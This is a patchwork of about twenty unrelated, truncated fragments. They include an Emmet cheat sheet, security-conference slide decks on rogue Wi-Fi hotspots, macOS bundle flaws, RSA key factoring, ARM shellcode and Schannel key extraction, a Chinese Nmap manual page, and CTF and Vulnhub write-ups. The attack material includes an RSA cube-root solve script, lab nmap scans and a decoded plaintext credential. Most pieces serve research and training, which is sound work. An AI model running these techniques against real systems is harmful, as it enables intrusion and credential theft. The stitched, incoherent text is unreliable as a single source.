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--- title: Emmet date: 2020-12-14 18:28:43 background: bg-[#95c844] tags: - snippets - coding - html - css - abbr categories: - Toolkit intro: | [Emmet](https://emmet.io/) is a web-developers toolkit for boosting HTML & CSS code writing, which allows you to write large HTML code blocks at speed of light using well-known CSS selectors. plugins: - copyCode --- Emmet Syntax --------------- ### Getting started Let us start to improve your development to the speed of light. - [Emmet in Visual Studio Code](https://code.visualstudio.com/docs/editor/emmet) _(code.visualstudio.com)_ - [Emmet 2 for Sublime Text](https://github.com/emmetio/sublime-text-plugin) _(github.com)_ - [Emmet for Coda](https://emmet.io/download/coda/) _(emmet.io)_ - [Emmet for Atom](https://github.com/emmetio/emmet-atom#readme) _(github.com)_ ### Multiplication: * ul>li*5 ```html <ul> <li></li> <li></li> <li></li> <li></li> <li></li> </ul> ``` ### Child: > `nav>ul>li` ```html <nav> <ul> <li></li> </ul> </nav> ``` ### Custom attributes {.col-span-2} p[title="Hello world"] ```html <p title="Hello world"></p> ``` td[rowspan=2 colspan=3 title] ```html <td rowspan="2" colspan="3" title=""></td> ``` [a='value1' b="value2"] ```html <div a="value1" b="value2"></div> ``` ### Text: {} a{Click me} ```html <a href="">Click me</a> ``` p>{Click }+a{here}+{ to continue} ```html {.wrap} <p>Click <a href="">here</a> to continue</p> ``` ### ID and CLASS attributes {.row-span-2} `#header` ```html <div id="header"></div> ``` .title ```html <div class="title"></div> ``` form#search.wide ```html <form id="search" class="wide"></form> ``` p.class1.class2.class3 ```html <p class="class1 class2 class3"></p> ``` ### Implicit tag names {.row-span-2} .class ```html <div class="class"></div> ``` em>.class ```html <em><span class="class"></span></em> ``` ul>.class ```html <ul> <li class="class"></li> </ul> ``` table>.row>.col ```html <table> <tr class="row"> <td class="col"></td> </tr> </table> ``` ### Sibling: + div+p+bq ```html <


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SECURITY & INNOVATION Cyber[Crime|War] Iftach Ian Amit 1 www.securityandinnovation.com Cyber[Crime|War] Linking State Governed Cyber Warfare with Online Criminal Groups Table of Contents Introduction................................................................................................................................1 Background................................................................................................................................2 Cybercrime.................................................................................................................................2 Cyber Warfare............................................................................................................................3 Past Events and Making the Links.............................................................................................3 Estonia ...................................................................................................................................3 Georgia...................................................................................................................................5 Twitter, Google and the APT.................................................................................................6 Conclusion .................................................................................................................................7 Introduction In recent years Cybercrime has been front-page news as a result of an increase in profit- motivated internet crimes; and an apparent lack of sufficient security measures that leave standard internet users virtually unprotected from internet crimes. Software security vendors have been trying to show progress in the fight against cybercrime - with some success. The vast majority of Internet users, however, are still unprotected from internet crime that includes fraud, phishing and identity theft. The success of financial cybercrime has served to fuel further


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import gmpy2 from Crypto.PublicKey import RSA from crypto_commons.generic import bytes_to_long, long_to_bytes from crypto_commons.rsa.rsa_commons import modinv def solve(ct, e, n, padding_len): new_ct = ct * pow(modinv(256, n) ** padding_len, e, n) new_ct %= n for i in range(256): potential_pt, is_cube = gmpy2.iroot(new_ct + (n * i), e) if is_cube: print(i, long_to_bytes(potential_pt)) def main(): flag_size = len(open("aes.enc", 'rb').read()) key = RSA.importKey(open('pubkey.txt', 'rb').read()) ct = open("rsa.enc", 'rb').read() solve(bytes_to_long(ct), key.e, key.n, 128 - flag_size) main()


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#BHUSA @BlackHatEvents A Fully Trained Jedi, You Are Not Adam Shostack #BHUSA @BlackHatEvents How Many Jedi? 2 #BHUSA @BlackHatEvents How Many Jedi? 3 #BHUSA @BlackHatEvents We talk a lot about Jedi 4 #BHUSA @BlackHatEvents Its a Bad Goal Expectations of heroism drive burnout Not everyone wants to be torn from their family as a child  Forced to live without attachments Even if they did, many people just dont qualify 5 #BHUSA @BlackHatEvents  Murdered by Sith Isnt Good 6 #BHUSA @BlackHatEvents A Fully Trained Jedi, You Are Not Adam Shostack #BHUSA @BlackHatEvents About Adam Shostack 8 #BHUSA @BlackHatEvents Agenda  The problem starts with software  Shifting left isnt working  Reasonable Expectations  Bloom  Chunking  Frames 9 #BHUSA @BlackHatEvents Weve known for a while   Firewalls and Internet Security (Cheswick and Bellovin, 1994) 10 #BHUSA @BlackHatEvents Where do security issues come from? Developers 11 #BHUSA @BlackHatEvents Where do security issues come from? Software engineers 12 #BHUSA @BlackHatEvents Developers introduce many problems  Code with security bugs + flaws  Missing security features  Unusable security features 13 #BHUSA @BlackHatEvents Software Application security Operational security Dev Production 14 #BHUSA @BlackHatEvents Software Application security Operational security Dev Prod bugs Firehose of CVEs 15 #BHUSA @BlackHatEvents Software Application security Operational security Dev Prod bugs Pen Test Fuzzing Static analysis XDR SIEM Vuln Scan Reverse engineering Shift Security Left Firewalls! 16 Language improvements Firehose of CVEs #BHUSA @BlackHatEvents Software Application security Operational security Dev Prod bugs Pen Test Fuzzing Static analysis XDR SIEM Vuln Scan Reverse engineering Shift Security Left Firewalls! 17 Firehose of CVEs Language improvements #BHUSA @BlackHatEvents Shift Left  Build security in  Changes to how we/they design, develop, deploy  Requires new skills  Less pen testing  More software engineering  Growing popular


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Airsnarf Why 802.11b Hotspots Aint So Hot. Coming up...  Disclaimer  Example hotspot setup & weakness  Rogue APs  Demo of Airsnarf  Defense strategies Disclaimer  This presentation and example software are intended to demonstrate the inherent security flaws in publicly accessible wireless architectures and promote the use of safer authentication mechanisms for public 802.11b hotspots. Viewers and readers are responsible for their own actions and strongly encouraged to behave themselves. Example HotSpot Setup  Visit hotspot provider website and create login  Visit hotspot with wireless device  Power on, associate, get IP, DNS, etc.  Open web browser and get redirected  Login, backend authentication & billing, welcome to the Internet Is this secure? Access Point SSID: goodguy SSID: badguy Stronger or Closer Access Point ANY Wi-Fi Card SSID: goodguy badguy Rogue APs?  Rogue AP = an unauthorized access point  Traditional  corporate back-doors  corporate espionage  Hotspots  DoS  theft of user credentials  AP cloning Hotspot Rogue AP Mechanics  Create a competing hotspot.  AP can be actual AP or HostAP  Create or modify captive portal behind AP  Redirect users to splash page  DoS or theft of user credentials  Bold attacker will visit ground zero.  Not-so-bold will drive-by with an amp. Airsnarf  Nothing special  Simplifies HostAP, httpd, dhcpd, Net::DNS, and iptables setup  Simple example rogue AP  Demonstration Defense Strategies  Local AP awareness  Customer education  One-time authentication mechanisms  Dont charge for hotspot access? Links  Airsnarf - http://airsnarf.shmoo.com  HostAP - http://hostap.epitest.fi/  Red Hat Kernel w/ HostAP - http://www.cat.pdx.edu/~baera/redhat_hostap/  Looking for hotspots? - http://www.hotspotlist.com/  Other wireless portal software - http://www.personaltelco.net/index.cgi/PortalSoftware Questions?


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Slide 1 Note: The following slides (and speaker notes) are in draft format. Final presentation slides will be made available after both BlackHat and DEF CON. The most significant changes will be in the Machine Learning section. This deck includes results based on Nearest Neighbour (Wekas NNge algorithm). The final deck will change to take into account additional data and alternative models. Slide 2 Predicting Susceptibility to Social Bots on Twitter Chris Sumner & Dr. Randall Wald chris@onlineprivacyfoundation.org & rwald1@fau.edu Welcome to Predicting Susceptibility to Social Bots on Twitter . Im Chris Sumner, representing the Online Privacy Foundation and Im joined by Dr. Randall Wald from Florida Atlantic University. Before we begin, I want to ensure that people are aware of what the talk is and isnt. Whats in it for you - Discuss some research in this area - Social Bots  links to code - Introduction to simple bots to play with - Human Behaviour Psychology - Look at what makes some people do things which other people think are dumb. - Data Mining & Machine Learning - How to collect & analyze data - Implications for security awareness training Slide 3 TP TL;DR TP FP TP TP TP TP FP Targeted Spray & Pray We examined the performance of a Spray & Pray approach to unsolicited social interaction versus a Targeted approach using Machine Learning and the results will look a little like this. Slide 4 Anyone know who this guy is?.... Its Tim Hwang. Slide 5 And back in early 2011 Id stumbled upon this fascinating and amusing competition which he hosted with the Web Ecology Project .it was described as References: - 5 minute video overview - http://ignitesanfrancisco.com/83e/tim-hwang/ - http://aerofade.rk.net.nz/?p=152  Instantly go out and follow all 500 of the target users  every 2-3 hours, tweet something from a random list of messages.  constantly scan flickr for pictures of "cute cats" from the Cute Cats group and blog them to James' blog "Kitteh Fashun" - (which auto t


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Bundles of Joy breaking macOS via subverted application bundles @patrickwardle WHOIS @patrickwardle tools, blog, & malware collection "Objective by the Sea" (macOS security conference) Book(s): "The Art of Mac Malware" In the wild? OUTLINE Background Protection & detection The flaw Patch Topics covered: os internals, reversing, malware analysis, & security tool development. Background how apple seeks to protect macOS users MAC INFECTION VECTORS the vast majority, require user "assistance" fake updates poisoned search results & infected sites infected :/ pirated (trojaned) applications THE GROWTH OF MAC MALWARE and apples multi-layer defense more Mac Malware (credit: MalwareBytes) more than Windows !? anti-infection mechanisms (applied to downloaded items) Notarization Gatekeeper File quarantine aim to protect the user from infecting themselves QUARANTINE ATTRIBUTE added to all (ok, most) downloaded items A quarantine attribute is added to downloaded items. When launched, it signifies the item should be subjected to various anti-infection checks. % xattr ~/Downloads/malware.app com.apple.quarantine % xattr -p com.apple.quarantine ~/Downloads/malware.app 0081;606ec805;Chrome;BCCEDD88-5E0C-4F6A-95B7-DBC0D2D645EC Triggers checks: q attr: com.apple.quarantine xattr shows (quarantine) attributes  gatekeeper  notarizations  file quarantine FILE QUARANTINE (2007) user confirmation when launching an application file quarantine prompt (note: "is an app") When a user opens a downloaded item, file quarantine displays a prompt that requires explicit user confirmation before allowing the file to execute. a presentation ...or is it malware? (it's OSX.WindTail) Shortcoming: Open GATEKEEPER (2012) block unsigned applications Built atop File Quarantine, Gatekeeper checks the code signing information of downloaded items and blocks those that do not adhere to system policies. Shortcoming: signed malware not mozilla! NOTARIZATION (2019) block non-verified applications malware? clean not


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The mechanics of compromising low entropy RSA keys Austin Allshouse This talk is about... Nominally: Recovering private keys from a subset of vulnerable RSA certificates Functionally: Calculating shared factors across large batches of integers ...using our scalable GCD algorithm for shared factors... ...batch GCD on RSA keys, using a custom distributed version... ...we adapted the batch GCD implementation p x q = n random prime random prime public modulus Hello darkness, my old friend... When primes are reused... p x q1 = n1; p x q2 = n2 gcd(n1, n2) = p n1/p = q1; n2/p = q2 Select past research... 2012 2016 2018 Mining your Ps and Qs... Weaks Keys Remain Widespread... Reaping and breaking keys at scale @DEF CON 26 - Discovered widespread prime reuse in certiﬁcates - Demonstrated ﬂaws in pseudorandom number generation - Greatly expanded scope of keys evaluated (81 million) - Detail a method of parallelizing modulus factorization - Industrialized key acquisition and factoring on a massive scale from diverse sources (hundreds of millions) GCD circa 300 BC (Euclid) Prime products: (7 x 67) = 469; (11 x 61) = 671; (7 x 59) = 413; (17 x 53) = 901 from itertools import combinations products = [469, 671, 413, 901] def gcd(a, b): if a == 0: return b return gcd(b%a, a) for pair in combinations(products, 2): print(f'gcd{pair} = {gcd(*pair)}') gcd(469, 671) = 1 gcd(469, 413) = 7 gcd(469, 901) = 1 gcd(671, 413) = 1 gcd(671, 901) = 1 gcd(413, 901) = 1 Batch GCD circa 2004 AD (Bernstein) Product Tree Building: child1 * child2 = parent Remainder Tree Decomposing: parent mod child2 = child Remainder Tree Leaves gcd( remainder/product, product ) = shared_factor Product Tree 117103588987 314699 372113 901 413 671 469 Prime products: (7 x 67) = 469; (11 x 61) = 671; (7 x 59) = 413; (17 x 53) = 901 Remainder Tree 117103588987 117103588987 mod (314699)2 = 18068128386 117103588987 mod (372113)2 = 117103588987 117103588987 mod (901)2 = 482936 117103588987 mod (413)2 = 124313 18068128386 mo


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# Nmap ## Nmap包描述 Nmap网络映射器是用于网络发现和安全审计的免费和开放源许可证实用程序许多系统和网络管理员还发现它对于诸如网络库存管理服务升级调度以及监视主机或服务正常运行时间等任务很有用Nmap以新颖的方式使用原始IP数据包来确定网络上可用的主机这些主机提供的服务应用程序名称和版本它们正在运行的操作系统和操作系统版本什么类型的数据包过滤器/防火墙正在使用还有几十个其他特性它旨在快速扫描大型网络但对单个主机工作正常Nmap在所有主要的计算机操作系统上运行官方二进制包可用于LinuxWindows和Mac OS X Nmap被Linux JournalInfo WorldLinuxQuestions.Org和Codetalker Digest评为年度安全产品它甚至有十二部电影包括矩阵重装模具硬4女孩与龙纹身和Bourne最后通atum ## Nmap是... - 灵活支持数十种先进技术用于映射填充有IP过滤器防火墙路由器和其他障碍的网络这包括许多端口扫描机制TCP和UDP操作系统检测版本检测ping扫描等请参阅文档页 - 强大Nmap已被用于扫描数十万台机器的庞大网络 - 便携式支持大多数操作系统包括LinuxMicrosoft WindowsFreeBSDOpenBSDSolarisIRIXMac OS XHP-UXNetBSDSun OSAmiga等 - 简单虽然Nmap为高级用户提供了一组丰富的高级功能但您可以简单地从nmap -v -A targethost开始传统的命令行和图形GUI版本都可以满足您的偏好二进制文件可用于那些不希望从源代码编译Nmap的用户 - 免费Nmap项目的主要目标是帮助使互联网更安全一些并为管理员/审计员/黑客提供探索其网络的高级工具Nmap可以免费下载并附带完整的源代码您可以根据许可证条款修改和重新分发 - 良好的文件重大的努力已经投入全面和最新的手册页白皮书教程甚至一整本书在这里找到多种语言 - 支持虽然Nmap不提供保修但它得到了开发人员和用户的充满活力的社区的良好支持大多数此交互发生在Nmap邮件列表上大多数错误报告和问题应该发送到nmap-dev列表但只有在你阅读了指南我们建议所有用户订阅低流量nmap-hackers公告列表你也可以在Facebook和Twitter上找到Nmap对于实时聊天加入Freenode或EFNet上的#nmap频道 - 备受赞誉Nmap赢得了无数奖项包括Linux年报信息世界和Codetalker Digest的年度信息安全产品它已被数以百计的杂志文章几部电影几十本书和一本漫画书系列请访问新闻页了解更多详情 - 热门每天有成千上万的人下载Nmap它包含在许多操作系统Redhat LinuxDebian LinuxGentooFreeBSDOpenBSD等中它是Freshmeat.Net存储库中排名前十的30,000个程序之一这是很重要的因为它给Nmap带来了充满活力的开发和用户支持社区 资料来源http://nmap.org/ [Nmap Homepage](http://insecure.org/) | [Kali Nmap Repo](http://insecure.org/) - 作者Fyodor - 许可证GPLv2 ## nmap软件包中包含的工具 ### nping - 网络数据包生成工具/ ping实用程序 ``` root @ kalinping -h Nping 0.6.40http://nmap.org/nping 用法nping [探测模式] [选项] {目标规格} 目标规范 目标可以指定为主机名IP地址网络等 例如scanme.nmap.orgmicrosoft.com/24,192.168.0.1; 10.0*1-24 PROBE MODES-- tcp-connectUnprivileged TCP连接探测器模式 --tcpTCP探测模式 --udpUDP探测模式 --icmpICMP探测模式 --arpARP / RARP探测模式 --tr--traceroute Traceroute模式只能与TCP / UDP / ICMP模式一起使用 TCP CONNECT MODE -p--dest-port <port spec>设置目标端口 -g--source-port <portnumber>尝试使用自定义源端口 TCP PROBE MODE -g--source-port <portnumber>设置源端口 -p--dest-port <port spec>设置目标端口 --seq <seqnumber>设置序列号 --flags <flag list>设置TCP标志ACKPSHRSTSYNFIN ...--


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Log browsing moves Data organization Examples Entropy-based data organization tricks for browsing logs and packet captures Sergey Bratus Department of Computer Science Dartmouth College Sergey Bratus Entropy tricks for browsing logs and packet captures Log browsing moves Data organization Examples Outline 1 Log browsing moves Pipes and tables Trees are better than pipes and tables! 2 Data organization Trying to deﬁne the browsing problem Entropy Measuring co-dependence Mutual Information The tree building algorithm 3 Examples Sergey Bratus Entropy tricks for browsing logs and packet captures Log browsing moves Data organization Examples Disclaimer 1 These are really simple tricks. 2 Not a survey of research literature (but see last slides). You can do much cooler stuff with entropy etc. 3 NOT on-line IDS/IPS stuff: Learning the normal values, patterns. Statistical training  black box oracle. Once trained, hard to understand or tweak. 4 These tricks are for off-line log browsing (analysis). Entropy & friends: What can they do for us in everyday log browsing? Sergey Bratus Entropy tricks for browsing logs and packet captures Log browsing moves Data organization Examples Outline 1 Log browsing moves Pipes and tables Trees are better than pipes and tables! 2 Data organization Trying to deﬁne the browsing problem Entropy Measuring co-dependence Mutual Information The tree building algorithm 3 Examples Sergey Bratus Entropy tricks for browsing logs and packet captures Log browsing moves Data organization Examples The UNIX pipe length contest What does this do? grep Accepted password /var/log/secure | awk {print $11} | sort | uniq -c | sort -nr /var/log/secure: Jan 13 21:11:11 zion sshd[3213]: Accepted password for root from 209.61.200.11 Jan 13 21:30:20 zion sshd[3263]: Failed password for neo from 68.38.148.149 Jan 13 21:34:12 zion sshd[3267]: Accepted password for neo from 68.38.148.149 Jan 13 21:36:04 zion sshd[3355]: Accepted publickey for neo from 129.10.75.101 Jan 1


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Shellcodes for ARM: Your Pills Dont Work on Me, x86 Svetlana Gaivoronski @SadieSv Ivan Petrov @_IvanPetrov_ Why its important ! ! !Increasing!number!of!ARM3based!devices! ! !Signiﬁcant!number!of!vulnerable!so:ware! !!!!!!!and!huge!base!of!reusable!code! ! !Memory!corrup?on!errors!are!s?ll!there! @SadieSv!!!!!!!@_IvanPetrov_! Is it decidable? Ac?vator!  NOP!  GetPC! Decryptor! Payload! Return!address!zone! ! !Structure!limita?ons!! ! !Size!limita?ons! @SadieSv!!!!!!!@_IvanPetrov_! May be its not that bad? ! !Stack!canaries:!calculates!pseudo<random! number!and!saves!it!to!the!stack;! ! !SafeSEH:!instead!of!protecDng!stack!protects! excepDon!handlers!;!! ! !DEP:!makes!stack/part!of!stack!non< executable;!! ! !ASLR:!randomizes!he!base!address!of! executables,!stack!and!heap!in!a!processs! adress!space!.! BYPASSED @SadieSv!!!!!!!@_IvanPetrov_! Okay, whats the ARM problem? ! !Shellcodes!are!already! there! ! ! !Shellcode!detec?ons! methods!(okay,&smarter& than&signature3based)!are! not!! Are x86-based methods are applicable here? For analysis of appicapability of х86based techniques for ARM its reasonable to understand differences of two platforms. @SadieSv!!!!!!!@_IvanPetrov_! Main differences of two platforms: ! Commands!size!is!ﬁxed;! ! 2!diﬀerent!CPU!modes!(32bit!and!16bit)and!possibility!to! dynamic!switching!between!them; ! Possibility!of!condiDonal!instrucDon!execuDon; ! Possibility!of!direct!access!to!PC; ! load<store!architecture!(not!possible!to!access!memory! directly!from!arithmeDc!instrucDons); ! FuncDon!arguments!(and!return!address!as!well)!go!to! registers,!not!stack. @SadieSv!!!!!!!@_IvanPetrov_! i!f!(!e!r!r!!=!0)! !p!r!i!n!t!f!(!"!Er!r!o!r!c!o!d!e!=!%i!\!n!"!,!e!r!r!)!;! e!l!s!e! !p!r!i!n!t!f!(!"OK!!\!n!"!)!;! ! ! !!!!CMP!r1!,!#0! !!!!BEQ!.!L4! !!!!LDR!r0!,!<!string_1_address!>! !!!!BL!prin]! !!!!B!.!L8! .!L4!:! !!!!LDR!r0!,!<!string_2_address!>! !!!!BL!prin]! .!L8!:! CMP!r1!,!#0! LDRNE!r0!,!<!string_1_address!>! LDREQ!r0!,!<!string_2_address!>! BL!prin


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Stealing Profits from Stock Market Spammers Defcon 17 - Grant Jordan - 7/31/09  Copyright 2008, The NASDAQ OMX Group, Inc. or: How I Learned to Stop Worrying and Love the Spam Who were we?  Grant Jordan & Kyle Vogt  MIT students with too much free time  Lots of ridiculous projects  like safe cracking. Who are we NOT?  Stock Market Experts  Spammers  Get Rich Quick Scammers Spoiler Alert:  Everything will be seen through a soda straw.  Its all from our point of view at the time.  We couldnt see the forces behind anything.  Lots of guesses. Lots of hypotheticals.  Moral of the story: A lot can be determined without the underlying information. Its all about how you look at the information that everyone already has. How it all started October 2006  Kyle: There must be a way to make money off all this spam trying to sell stocks!  Grant: Youre an idiot. Why Kyle must have been wrong  Profit is derived from asymmetric information.  I know something that you dont!  If everyone knows, its already priced-in.  But everyone gets the spam!  What do we know that others dont? But first What is this spam trying to do? Anatomy of a Pump and Dump Fear and Greed in the 24-hour Economy  Richard Minsky Anatomy of a Pump and Dump Fear and Greed in the 24-hour Economy  Richard Minsky 1) I own 100 shares of Worthless, Inc. @ $1 per share Anatomy of a Pump and Dump Fear and Greed in the 24-hour Economy  Richard Minsky 2) I go on message boards and tell everyone the stock is about to go THROUGH THE ROOF!!!1 Anatomy of a Pump and Dump Fear and Greed in the 24-hour Economy  Richard Minsky 3) People go buy the stock Anatomy of a Pump and Dump Fear and Greed in the 24-hour Economy  Richard Minsky 4) Price goes up with increased demand. I sell all my shares @ $2 (Profit!) Anatomy of a Pump and Dump Fear and Greed in the 24-hour Economy  Richard Minsky 5) Surge of demand was artificial. There are no new buyers. People try to sell but cant! Anatomy of a Pump and Dump Fear and Greed in the 24-hour E


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# 4-Base64 --- 目标 T4.exe 使用 IDA 打开,找 main 函数,并做基本的分析重命名函数 这次在17行出现了一个 sub_455A94 函数,双击进去 这个 sub_455A94 对 sub_45A3F0 做了一层封装,继续双击跟进下一级 这里可以看到 sub_45A3F0 的细节寻找关键数字常量比如多次引用到 off_529000 全局资源 双击进入 off_529000跳转到该资源存储的位置 这里可以看到 off_529000 dd offset aAbcdefghijklmn 表示 off_529000 是一个全局的指针变量保存了一个字符串的指针指向的字符串为 aAbcdefghijklmn  双击进入 aAbcdefghijklmn 地址的数据处 发现一个关键字符串 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 去搜索一下就知道这个估计是 base64 编码的函数 重命名一下 在分析下思路 输入值 --> 每个字符与i异或 --> 进行base64 编码 --> 与 Zm1jZH9cSVJXT0NFSFJHW09ZU1tVaA== 比较 那么解题就是将 Zm1jZH9cSVJXT0NFSFJHW09ZU1tVaA== 解 base64与 i 异或即可 这里用 cyberchef 快速得到格式化的 16 进制值 然后用之前的与 i 异或脚本跑下即可 --- **Source & Reference** - [萌新学逆向T4 Base64算法](https://mp.weixin.qq.com/s/HUE8DE-K4n0NytzrO4I49A)


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Sleight of Mind Magic and Social Engineering Mike Murray Tyler Reguly 1 A DANGEROUS OPENER Credit: Luke Jermay 2 EXPLANATION 3 THE FORCE IS WITH YOU 4 EXPLANATION 5 COIN BENDING Credit: Luke Jermay 6 EXPLANATION 7 EQUIVOQUE Credit: Luke Jermay 8 EXPLANATION 9 IN THE CARDS 10 EXPLANATION 11 RGM Credit: Luke Jermay 12 EXPLANATION 13 QUESTIONS? Email Us: mmurray@episteme.ca ht@computerdefense.org 14


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目录 Vulnhub渗透测试练习一-------------------------------Breach1.0 Vulnhub渗透测试练习二 ------------------------------Billu_b0x Vulnhub渗透测试练习三 -------------------------------Bulldog1 Vulnhub渗透测试练习四---------------------------------Acid Vulnhub渗透测试练习五---------------------------------LazysysAdmin-1 Vulnhub渗透测试练习六---------------------------------Freshly Vulnhub渗透测试练习七---------------------------------FristiLeaks v1.3 Vulnhub渗透测试练习八---------------------------------The Ether Vulnhub渗透测试练习九---------------------------------zico2 Vulnhub渗透测试练习十---------------------------------Quaoar Vulnhub渗透测试练习十一---------------------------------SickOs 1.1 Vulnhub渗透测试练习十二---------------------------------BSides-Vancouver-2018- Workshop Vulnhub渗透测试练习十三---------------------------------Kioptrix 1 Vulnhub渗透测试练习十四----------------------------------Zico2 Vulnhub渗透测试练习十五----------------------------------Kioptrix 3 Vulnhub渗透测试练习十六----------------------------------Kioptrix 4 Vulnhub靶场题解 - 红日安全团队 Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台供安全爱好者学习渗透使用大部分环境是做好的虚拟机镜像文 件镜像预先设计了多种漏洞需要使用VMware或者VirtualBox运行每个镜像会有破解的目标大多是 Boot2root从启动虚机到获取操作系统的root权限和查看ﬂag网址https://www.vulnhub.com 第一节 Breach1.0 靶机信息 下载链接 https://download.vulnhub.com/breach/Breach-1.0.zip 靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战 VM虚机配置有静态IP地址192.168.110.140需要将虚拟机网卡设置为host-only方式组网非常感谢 Knightmare和rastamouse进行测试和提供反馈作者期待大家写出文章特别是通过非预期的方式获取root权 限 目标 Boot to root获得root权限查看ﬂag 运行环境 靶机网络连接方式设置为主机模式host-only静态IP是192.168.110.140 攻击机同网段下有Windows攻击机物理机IP地址192.168.110.220安装有NmapBurpsuit WiresharkSqlmapncPython2.7JDKDirBusterAWVSNessus等渗透工具也可以使用Kali Linux攻击机 信息收集 端口服务识别 启动Breach1.0虚拟机由于IP已知使用nmap扫描端口并做服务识别和深度扫描加-A参数扫描结果保存 到txt文件命令 nmap -v -A 192.168.110.140 -oN Breach.txt 发现端口几乎全开放了显然是有问题虚拟机对端口扫描做了一些防护措施直接访问80端口进入web首 页 http://192.168.110.140/ 漏洞挖掘 0x01查看首页源码解码得到密码 (1) 查看首页源码发现提示 Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo 这是一串 base64编码 (2) 将其复制到Burpsuit Decoder进行base64解码解密后发现还是base64编码继续base64解码得到 pgibbons:damnitfeel$goodtobeagang$ta 0x02登录cms查看邮件下载包含SSL证书


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# Pwn1 Pwn, 227 points ## Description: A binary file was attached, in addition to an address and port. ## Solution: Let's run the binary: ```console root@kali:/media/sf_CTFs/tamu/Pwn1# ./pwn1 Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see. What... is your name? test I don't know that! Auuuuuuuugh! ``` So we need to answer the question in order to proceed. The first place to search for an answer is `strings`: ```console root@kali:/media/sf_CTFs/tamu/Pwn1# strings pwn1 [...] Right. Off you go. flag.txt Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see. What... is your name? Sir Lancelot of Camelot I don't know that! Auuuuuuuugh! What... is your quest? To seek the Holy Grail. What... is my secret? [...] ``` `Sir Lancelot of Camelot` seems like a reasonable response. ```console root@kali:/media/sf_CTFs/tamu/Pwn1# echo "Sir Lancelot of Camelot" | ./pwn1 Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see. What... is your name? What... is your quest? I don't know that! Auuuuuuuugh! ``` So we moved past the first question, new we are requested to provide a quest. `To seek the Holy Grail.` makes most sense, given the strings in the binary: ```console root@kali:/media/sf_CTFs/tamu/Pwn1# { echo "Sir Lancelot of Camelot"; echo "To seek the Holy Grail."; } | ./pwn1 Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see. What... is your name? What... is your quest? What... is my secret? I don't know that! Auuuuuuuugh! ``` So far, so good. But what is the secret? Looks like we'll have to open the binary with a disassembler after all: ``` root@kali:/media/sf_CTFs/tamu/Pwn1# r2 pwn1 -- R2 loves everyone, even Java coders, but less than others [0x000005c0]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len b


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# Russian threesome, re, 5 solves, 500p > Interested in the hot secret hidden in my basement? That's right, it's stored on this old computer. Unfortunately it stopped working a long time ago. However I've got an emulator that simulates this machine and I even was able to dump it's magnetic drum into a file. I'm sure that way extracting the juicy data should be easy, right? As the description stated, we got two files: a compiled emulator and image of a magnetic drum. Reversing the emulator was the first part of the challenge. As it turns out, the emulated architecture is pretty interesting. It uses balanced ternary encoding for everything, organized into 9-trit mini-words ("trytes"), two of which make a word. There are 27 words in a sector. The whole drum is composed of 36 sectors. The machine contains a few registers and memory objects: - sectors X, Y, Z - three of drum sectors can be loaded into memory at the same time, - accumulator (A), used generally as tryte-sized object, - secondary accumulator (B), used for multiplication etc. - program counter (PC), five-trit sized (selects X/Y/Z, one of 27 words, one of trytes; must not have -1 as LSB) - flag (F), one trit of last operation sign - indirection register (V), five-trit sized Program counter always increments after the instruction, even if it was a jump (so jump target is actually one after what is encoded). All instructions are tryte-sized and have the same composition: 3-trit opcode, 5-trit immediate, 1-trit indirection flag. If indirection flag is non-zero, the indirection register is added to immediate field. This behavior allows for indirect indexing, for example `A = [V+20]` (other than by using V, all instructions use constant addresses). The machine has a few allowances for IO: audio (interprets X/Y/Z as speaker tones), puts and gets (reads or writes string into X/Y/Z). The machine has specific charset, where bytes lower than 128 are ASCII and 128-255 are custom Russian characters. There is quite a few


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Cunning with CNG: Soliciting Secrets from Schannel DEF COn 24 1470502800 Why do you care? Ability to decrypt Schannel TLS connections that use ephemeral key exchanges Ability to decrypt and extract private certificate and session ticket key directly from memory Public Cert/SNI to PID/Logon Session Mapping What you get out of this talk Agenda A very short SSL/TLS Review A background on Schannel & CNG The Secret Data The Forensic Context Demo >.> DisclaimeR This is NOT an exploit Its just the spec :D and some implementation specific oddities Microsoft has done nothing [especially] wrong To the contrary, their documentation was actually pretty great Windows doesnt track sessions for processes that load their own TLS libs Im looking at you Firefox and Chrome Windows doesnt track sessions for process that dont use TLS Thatd be you TeamViewer... BackgroUnd TLS, Schannel, and CNG The now infamous TLS Handshake [ Initial Connection ] E.G.: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 The now infamous TLS Handshake or, Session Resumption PeRFect FoRWaRd Secrecy What we want to do One time use keys, no sending secrets! What TLS actually does Caches values to enable resumption recommends `An upper limit of 24 hours is suggested for session ID lifetimes` When using session ticket extension, sends the encrypted state over the network basically returning to the issue with RSA, but using a more ephemeral key... What implementations also do Store symmetric key schedules (so you can find the otherwise random keys...) Cache ephemeral keys and reuse for a while... YEAR: 1992 CLASS: HUMAN ID: WHITFIELD DIFFIE EVENT: AUTHENTICATION AND AUTHENTICATED KEY EXCHANGES Schannel & CNG Secure Channel Its TLS -> the Secure Channel for Windows! A library that gets loaded into the key isolation process and the client process Technically a Security Support Provider (SSP) Spoiler: the Key Isolation process is LSASS The CryptoAPI-Next Generation (CNG) Introduced in Vista (yes you read correctly) Provides Co


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Robots with lasers and cameras (but no security): Liberating your vacuum from the cloud DEFCON 29  Dennis Giese (08.08.2021) DEFCON 29  Dennis Giese 2 About me  PhD student at Northeastern University, USA  Working with Prof. Guevara Noubir @Khoury  Research field: Wireless and embedded security&privacy  Interests: Reverse engineering of interesting devices  Smart Home Devices, mostly vacuum cleaning robots  Current research: Smart Speakers (08.08.2021) DEFCON 29  Dennis Giese 3 Most recent work  Amazon Echo Dot or the reverberating secrets of IoT devices  Authors: Dennis Giese and Guevara Noubir  Published: ACM WiSec 2021 https://dontvacuum.me/papers/ACMWisec-2021/ (08.08.2021) DEFCON 29  Dennis Giese 4 Goals  Get an overview over the development of vacuum robots  Focus: Roborock and Dreame  Learn about vulnerabilities and backdoors  Understand methods to root current robots https://www.dreame-technology.com/ https://www.roborock.com Side note: Generally, a friendly relationship with vendors is maintained (08.08.2021) DEFCON 29  Dennis Giese 5 